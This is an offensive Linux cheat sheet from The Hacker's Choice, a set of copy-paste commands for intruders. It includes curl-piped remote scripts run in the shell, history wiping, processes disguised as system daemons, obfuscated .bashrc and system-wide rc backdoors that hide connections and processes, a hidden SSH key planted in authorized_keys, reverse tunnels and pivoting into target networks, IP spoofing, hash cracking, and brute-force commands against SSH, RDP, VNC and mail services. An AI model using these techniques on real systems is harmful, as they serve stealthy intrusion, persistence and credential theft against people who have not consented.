Awesome

THC's favourite Tips, Tricks & Hacks (Cheat Sheet)

A collection of our favourite tricks. Many of those tricks are not from us. We merely collect them.

We show the tricks 'as is' without any explanation why they work. You need to know Linux to understand how and why they work.

Got tricks? Join us https://thc.org/ops

Bash
SSH
Network
Data Upload/Download/Exfil
Reverse Shell / Dumb Shell
1. Reverse Shells
2. Upgrading the dumb shell
Backdoors
Host Recon
Shell Hacks
Crypto
Session sniffing and hijacking
VPN and Shells
1. Disposable Root Servers
2. VPN/VPS Providers
OSINT Intelligence Gathering
Miscellaneous
How to become a Hacker
Other Sites

1. Bash / Shell

<a id="hackshell"></a> 1.i. Set up a Hack Shell (bash):

Make BASH less noisy. Disables ~/.bash_history and many other things.

 source <(curl -SsfL https://thc.org/hs)

Alternative URL:

 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

And if there is no curl/wget, use surl and (temporarily) installed curl with bin curl.

source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
# Afterwards type `bin curl` to (temporarily) install curl (in memory).

HackShell does much more but most importantly this:

unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Bonus tip: Any command starting with a " " (space) will not get logged to history either.

$  id

<a id="bash-hide-command"></a> 1.ii. Hide your command / Daemonzie your command

This will hide the process name only. Use zapper to also hide the command line options.

(exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

Start a background 'nmap' hidden as '/usr/sbin/sshd':

(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Start within a GNU screen:

screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
### Attach back to the nmap process
screen -x MyName

Alternatively, copy the binary to a new name:

cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

or use bind-mount to (temporarily) let /sbin/init point to /dev/shm/nmap instead:

mount -n --bind "$(command -v nmap)" /sbin/init
# starting /sbin/init will instead execute nmap
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

<a id="zap"></a> 1.iii. Hide your command line options

Use zapper:

curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

# Start Nmap but zap all options and show it as 'klog' in the process list:
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
# Started as a daemon and sshd-style name:
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
# Replace the existing shell with tmux (with 'exec').
# Then start and hide tmux and all further processes - as some kernel process:
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

<a id="bash-hide-connection"></a> 1.iv. Hide a Network Connection

The trick is to hijack netstat and use grep to filter out our connection. This example filters any connection on port 31337 or ip 1.2.3.4. The same should be done for ss (a netstat alternative).

Method 1 - Hiding a connection with bash-function in ~/.bashrc

Cut & paste this to add the line to ~/.bashrc

echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Or cut & paste this for an obfuscated entry to ~/.bashrc:

X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval \$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

The obfuscated entry to ~/.bashrc will look like this:

eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

Method 2 - Hiding a connection with a binary in $PATH

Create a fake netstat binary in /usr/local/sbin. On a default Debian (and most Linux) the PATH variables (echo $PATH) lists /usr/local/sbin before /usr/bin. This means that our hijacking binary /usr/local/sbin/netstat will be executed instead of /usr/bin/netstat.

echo -e "#! /bin/bash
exec /usr/bin/netstat \"\$@\" | grep -Fv -e :22 -e 1.2.3.4" >/usr/local/sbin/netstat \
&& chmod 755 /usr/local/sbin/netstat \
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

(thank you iamaskid)

<a id="hide-a-process-user"></a> 1.v. Hide a process as user

Continuing from "Hiding a connection" the same technique can be used to hide a process. This example hides the nmap process and also takes care that our grep does not show up in the process list by renaming it to GREP:

echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

<a id="hide-a-process-root"></a> 1.vi. Hide a process as root

This requires root privileges and is an old Linux trick by over-mounting /proc/<pid> with a useless directory:

hide() {
    [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }
    _pid=${1:-$$}
    [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; }
    local _argstr
    for _x in "${@:2}"; do _argstr+=" '${_x//\'/\'\"\'\"\'}'"; done
    [[ $(bash -c "ps -o stat= -p \$\$") =~ \+ ]] || exec bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
    bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
}

To hide a command use:

hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(thanks to druichi for improving this)

<a id="hide-scripts"></a> 1.vii. Hide shell scripts

Above we discussed how to obfuscate a line in ~/.bashrc. An often used trick is to use source instead. The source command can be shortened to . (yes, a dot) and it also searches through the $PATH variable to find the file to load.

In this example our script prng contains all of our shell functions from above. Those functions hide the nmap process and the network connection. Last we add . prng into the systemwide rc file. This will load prng when the user (and root) logs in:

echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >/usr/bin/prng \
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc \
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

(The same works for lsof, ss and ls)

<a id="cat"></a> 1.viii. Hide from cat

ANSI escape characters or a simple \r (carriage return) can be used to hide from cat and others.

Hide the last command (example: id) in ~/.bashrc:

echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Note: We use echo -e to convert \\033 to the ANSI escape character (hex 0x1b).

Adding a \r (carriage return) goes a long way to hide your ssh key from cat:

echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

<a id="parallel"></a> 1.ix. Execute in parallel with separate logfiles*

Scan 20 hosts in parallel and log each result to a separate log file:

# hosts.txt contains a long list of hostnames or ip-addresses
# (Use -sCV for more verbose version)
cat hosts.txt | parallel -j20 'exec nmap -n -Pn -sV -F --open -oG - {} >nmap_{}.txt'

Note: The example uses exec to replace the underlying shell with the last process (nmap, gsexec). It's optional but reduces the number of running shell binaries.

Execute Linpeas on all gsocket hosts using 40 workers:

# secrets.txt contains a long list of gsocket-secrets for each remote server.
cat secrets.txt | parallel -j40 'mkdir host_{}; exec gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>host_{}/linpeas.err'

Note: xargs -P20 -I{} is another good way but it cannot log each output into a separate file.

2. SSH

<a id="ssh-invisible"></a> 2.i. Almost invisible SSH

Stops you from showing up in w or who command and stops logging the host to ~/.ssh/known_hosts.

ssh -o UserKnownHostsFile=/dev/null -T user@server.org "bash -i"

Go full comfort with PTY and colors: xssh user@server.org:

### Cut & Paste the following to your shell, then execute
### xssh user@server.org
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

<a id="ssh-master"></a> 2.ii Multiple shells via 1 SSH/TCP connection

Have one TCP connection to the target and allow multiple users to piggyback on the same TCP connection to open further shell sessions.

Create a Master Connection:

ssh -M -S .sshmux user@server.org

Create further shell-sessions using the same (single) Master-TCP connection from above (no password/auth needed):

ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Can be combined with xssh to hide from utmp.

<a id="ssh-tunnel"></a> 2.iii SSH tunnel

We use this all the time to circumvent local firewalls and IP filtering:

ssh -g -L31337:1.2.3.4:80 user@server.org

You or anyone else can now connect to your computer on port 31337 and get tunneled to 1.2.3.4 port 80 and appear with the source IP of 'server.org'. An alternative and without the need for a server is to use gs-netcat.

Clever hackers use the keyboard combination ~C to dynamically create these tunnels without having to reconnect the SSH. (thanks MessedeDegod).

We use this to give access to a friend to an internal machine that is not on the public Internet:

ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 user@server.org

Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use gs-netcat.

<a id="ssh-socks-tunnel"></a> 2.iv SSH socks4/5 tunnel

OpenSSH 7.6 adds socks support for dynamic forwarding. Example: Tunnel all your browser traffic through your server.

ssh -D 1080 user@server.org

Now configure your browser to use SOCKS with 127.0.0.1:1080. All your traffic is now tunneled through server.org and will appear with the source IP of server.org. An alternative and without the need for a server is to use gs-netcat.

This is the reverse of the above example. It give others access to your local network or let others use your computer as a tunnel end-point.

ssh -g -R 1080 user@server.org

The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to any computer on any port that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use gs-netcat.

<a id="ssh-j"></a> 2.v SSH to a host behind NAT

ssh-j.com provides a great relay service: To access a host behind NAT/Firewall (via SSH).

On the host behind NAT: Create a reverse SSH tunnel to ssh-j.com like so:

## Cut & Paste on the host behind NAT.
sshj()
{
   local pw
   pw=${1,,}
   [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; }
   echo "Press Ctrl-C to stop this tunnel."
   echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m"
   ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22}
}

sshj                                 # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected
sshj foobarblahblub                  # Creates tunnel to 127.0.0.1:22 with specific tunnel ID
sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

Then use this command from anywhere else in the world to connect as 'root' to 'foobarblahblub' (the host behind the NAT):

ssh -J foobarblahblub@ssh-j.com root@foobarblahblub

The ssh connection goes via ssh-j.com into the reverse tunnel to the host behind NAT. The traffic is end-2-end encrypted and ssh-j.com can not see the content.

<a id="ssh-pj"></a> 2.vi SSH pivoting to multiple servers

SSH ProxyJump can save you a lot of time and hassle when working with remote servers. Let's assume the scenario:

Our workstation is $local-kali and we like to SSH into $target-host. There is no direct connection between our workstation and $target-host. Our workstation can only reach $C2. $C2 can reach $internal-jumphost (via internal eth1) and $internal-jumphost can reach the final $target-host via eth2.

          $local-kali       -> $C2            -> $internal-jumphost    -> $target-host
eth0      192.168.8.160      10.25.237.119             
eth1                         192.168.5.130       192.168.5.135
eth2                                             172.16.2.120             172.16.2.121

We do not execute ssh on any computer but our trusted workstation - and neither shall you (ever).

That's where ProxyJump helps: We can 'jump' via the two intermediary servers $C2 and $internal-jumphost (without spawning a shell on those servers). The ssh-connection is end-2-end encrypted between our $local-kali and $target-host and no password or key is exposed to $C2 or $internal-jumphost.

## if we want to SSH to $target-host:
kali@local-kali$ ssh -J c2@10.25.237.119,jumpuser@192.168.5.135 target@172.16.2.121

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J c2@10.25.237.119 jumpuser@192.168.5.135

We use this as well to hide our IP address when logging into servers.

<a id="sshd-user"></a> 2.vii SSHD as user land

It is possible to start a SSHD server as a non-root user and use this to multiplex or forward TCP connection (without logging and when the systemwide SSHD forbids forwarding/multiplexing) or as a quick exfil-dump-server that runs as non-root:

# On the server, as non-root user 'joe':
mkdir -p ~/.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>~/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 joe@1.2.3.4
# curl -x socks5h://0 ipinfo.io

SSF is an alternative way to multiplex TCP over TLS.

3. Network

<a id="discover"></a> 3.i. Discover hosts

## ARP discover computers on the _LOCAL_ network only
nmap -n -sn -PR -oG - 192.168.0.1/24

### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

## ICMP discover hosts (local LAN) ROOT
# NET="10.11.0"  # discover 10.11.0.1-10.11.0.254
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

<a id="tcpdump"></a> 3.ii. tcpdump

## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

<a id="tunnel"></a> 3.iii. Tunnel and forwarding

## Connect to SSL (using socat)
socat stdio openssl-connect:smtp.gmail.com:465

## Connect to SSL (using openssl)
openssl s_client -connect smtp.gmail.com:465

## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

<a id="ports"></a> 3.iii.a Raw TCP reverse ports

Useful for reverse backdoors that need a TCP Port on a PUBLIC IP Address:

Using segfault.net (free):

# Request a random public TCP port:
curl sf/port
echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"
nc -vnlp $(cat /config/self/reverse_port)

Using bore.pub (free):

# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

using serveo.net (free):

# Forward a random public TCP port to localhost:31337
ssh -R 0:localhost:31337 serveo.net

See also remote.moe (free) to forward raw TCP from the target to your workstation or playit (free) or ngrok (paid subscription) to forward a raw public TCP port.

Other free services are limited to forward HTTPS only (not raw TCP). Some tricks below show how to tunnel raw TCP over HTTPS forwards (using websockets).

<a id="https"></a> 3.iii.b HTTPS reverse tunnels

On the server, use any one of these three HTTPS tunneling services:

### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@localhost.run
### Or using remote.moe
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@remote.moe
### Or using cloudflared
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod 755 cloudflared
cloudflared tunnel --url http://localhost:8080 --no-autoupdate

Either service will generate a new temporary HTTPS-URL for you to use.

Then, use websocat or Gost on both ends to tunnel raw TCP over the HTTPS URL:

A. A simple STDIN/STDOUT pipe via HTTPS:

### On the server convert WebSocket to raw TCP:
websocat -s 8080

### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. Forward raw TCP via HTTPS:

### On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:
gost -L mws://:8080

Forward port 2222 to the server's port 22.

### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

or use the server as a Socks-Proxy EXIT node (e.g. access any host inside the server's network or even the Internet via the server (using the HTTPS reverse tunnel from above):

### On the workstation:
gost -L :1080 -F 'mwss://<HTTPS-URL>:443'
### Test the Socks-proxy:
curl -x socks5h://0 ipinfo.io

More: https://github.com/twelvesec/port-forwarding and Tunnel via Cloudflare to any TCP Service and Awesome Tunneling.

<a id="iptables"></a> 3.iii.c Bouncing traffic with iptables

Bounce through a host/router without needing to run a userland proxy or forwarder:

ipfwinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
ipfw() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
ipfwinit                             # Allow EVERY IP to bounce
# ipfwinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

Then set forwards like so:

ipfw 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port.
ipfw 31338 127.0.0.1 8080   # Bounce 31338 to the server's 8080 (localhost)
ipfw 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

We use this trick to reach the gsocket-relay-network (or TOR) from deep inside firewalled networks.

# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

<a id="ghost"></a> 3.vi.c Ghost IP / IP Spoofing

Useful on a host inside the target network. This tool re-configured (without trace) the SHELL: Any program (nmap, cme, ...) started from this SHELL will use a fake IP. All your attacks will originate from a host that does not exist.

source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

This also works in combination with:

Segfault's ROOT Servers: Will connect your ROOT Server to the TARGET NETWORK and using a Ghost IP inside the target network.
QEMU Tunnels: As above, but less secure.

<a id="tunnel-more"></a> 3.vi.d Various Tunnel Tricks

Tunnel via CDN

Read How to tunnel any TCP service via CloudFlare or use DarkFlare.

Connect your host directly to the remote network

WireTap - Works as user or root. Uses UDP as transport. (Try it on segfault.)
ligolo-ng - Uses TCP as transport. Works well via cloudflare CDN or gs-netcat.

<a id="scan-proxy"></a> 3.iv. Use any tool via Socks Proxy

Create a tunnel from the target to your workstation using gsocket:

On the target's network:

## Create a SOCKS proxy into the target's network.
## Use gs-netcat but ssh -D would work as well.
gs-netcat -l -S

On your workstation:

## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

Using ProxyChain:

## Use ProxyChain to access any host on the target's network: 
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf
proxychains -f pc.conf -q curl ipinfo.io
## Scan the router at 192.168.1.1
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
## Start 10 nmaps in parallel:
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

Using GrafTCP:

## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh root@192.168.1.1
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

<a id="your-ip"></a> 3.v. Find your public IP address

curl -s wtfismyip.com/json | jq
curl ifconfig.me
dig +short myip.opendns.com @resolver1.opendns.com
host myip.opendns.com resolver1.opendns.com

Get geolocation information about any IP address:

curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Get ASN information by IP address:

asn() {
  [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; }
  (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2
}
asn 1.1.1.1           # Single IP Lookup
cat IPS.txt | asn     # Bulk Lookup

Check if TOR is working:

curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

<a id="check-reachable"></a> 3.vi. Check reachability from around the world

The fine people at https://ping.pe/ let you ping/traceroute/mtr/dig/port-check a host from around the world, check TCP ports, resolve a domain name, ...and many other things.

To check how well your (current) host can reach Internet use OONI Probe:

ooniprobe run im
ooniprobe run websites
ooniprobe list
ooniprobe list 1

<a id="check-open-ports"></a> 3.vii. Check/Scan Open Ports on an IP

Censys or Shodan Port lookup service:

curl https://internetdb.shodan.io/1.1.1.1

Fast (-F) vulnerability scan

# Version gathering
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
# Vulns
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

Using bash:

timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

<a id="bruteforce"></a> 3.viii. Crack Password hashes

NTLM2password to crack (lookup) NTLM passwords
wpa-sec to crack (lookup) WPA PSK passwords

HashCat is our go-to tool for everything else:

hashcat my-hash /usr/share/wordlists/rockyou.txt

Using a 10-days 7-16 char hashmask on GPU:

curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
# -d2 == Use GPU #2 only (device #2)
# -O  == Up to 50% faster but limits password length to <= 15
# -w1 == workload low (-w3 == high)
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

Crack OpenSSH's known_hosts hashes to reveal the IP address:

curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -o ipv4_hcmask.txt
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -o kh-converter.py
python kh-converter.py ~/.ssh/known_hosts >~/.ssh/known_hosts_hashes
hashcat -m 160 --quiet --hex-salt ~/ssh/known_hosts_hashes -a 3 ipv4_hcmask.txt

👉 Read the FAQ.

Be aware that $6$ hashes are SLOW. Even the 1-minute 7-16 char hashmask would take many days on a 8xRTX4090 cluster to complete.

Rent a RTX-4090 GPU-Cluster at vast.ai for $0.40/h and use dizcza/docker-hashcat:cuda (read more).

Otherwise, use Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis or crack on your own AWS instances.

3.xi. Brute Force Passwords / Keys

The following is for brute forcing (guessing) passwords of ONLINE SERVICES.

<details> <summary>GMail Imbeciles - CLICK HERE</summary>

You can not brute force GMAIL accounts.
SMTP AUTH/LOGIN IS DISABLED ON GMAIL.
All GMail Brute Force and Password Cracking tools are FAKE.

</details>

All tools are pre-installed on segfault:

ssh root@segfaul.net # password is 'segfault'

(You may want to use your own EXIT node)

Tools:

Ncrack
Nmap BRUTE
THC Hydra
Medusa / docs
Metasploit
Crowbar - great for trying all ssh keys on a target IP range.

Username & Password lists:

/usr/share/nmap/nselib/data
/usr/share/wordlists/seclists/Passwords
https://github.com/berzerk0/Probable-Wordlists - >THC's FAVORITE<
https://github.com/danielmiessler/SecLists
https://wordlists.assetnote.io
https://weakpass.com
https://crackstation.net/

Set Username/Password list and Target host.

ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Useful Nmap parameters:

--script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

Useful Ncrack parameters:

-U "${ULIST}"
-P "${PLIST}"

Useful Hydra parameters:

-t4      # Limit to 4 tasks
-l root  # Set username
-V       # Show each login/password attempt
-s 31337 # Set port
-S       # Use SSL
-f       # Exit after first valid login

## SSH
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T"
ncrack -P "${PLIST}" --user root "ssh://${T}"
hydra -P "${PLIST}" -l root "ssh://$T"

## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

## FTP
hydra -P "${PLIST}" -l user "ftp://$T"

## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

## POP3 (email)
nmap -p110,995 --script pop3-brute "$T"

## MySQL
nmap -p3306 --script mysql-brute "$T"

## PostgreSQL
nmap -p5432 --script pgsql-brute "$T"

## SMB (windows)
nmap --script smb-brute "$T"

## Telnet
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run

## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

4. Data Upload/Download/Exfil

4.i File Encoding

Encode binaries to text for transport via a terminal connection:

UU encode/decode

## uuencode 
uuencode /etc/issue.net issue.net-COPY

<details> <summary>Output - CLICK HERE</summary>

begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end

</details>

## uudecode (cut & paste the 3 lines from above):
uudecode

Openssl encode/decode

## openssl encode
openssl base64 </etc/issue.net

<details> <summary>Output - CLICK HERE</summary>

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

</details>

## openssl decode (cut & paste the 1 line from above):
openssl base64 -d >issue.net-COPY

xxd encode/decode

## xxd encode
xxd -p </etc/issue.net

<details> <summary>Output - CLICK HERE</summary>

4b616c6920474e552f4c696e757820526f6c6c696e670a

</details>

## xxd decode
xxd -p -r >issue.net-COPY

4.ii. File transfer - using cut & paste

Paste into a file on the remote machine (note the <<-'__EOF__' to not mess with tabs or $-variables).

cat >output.txt <<-'__EOF__'
[...]
__EOF__  ### Finish your cut & paste by typing __EOF__

4.iii. File transfer - using screen

From REMOTE to LOCAL (download)

Have a screen running on your local computer and log into the remote system from within your shell. Instruct your local screen to log all output to screen-xfer.txt:

CTRL-a : logfile screen-xfer.txt

CTRL-a H

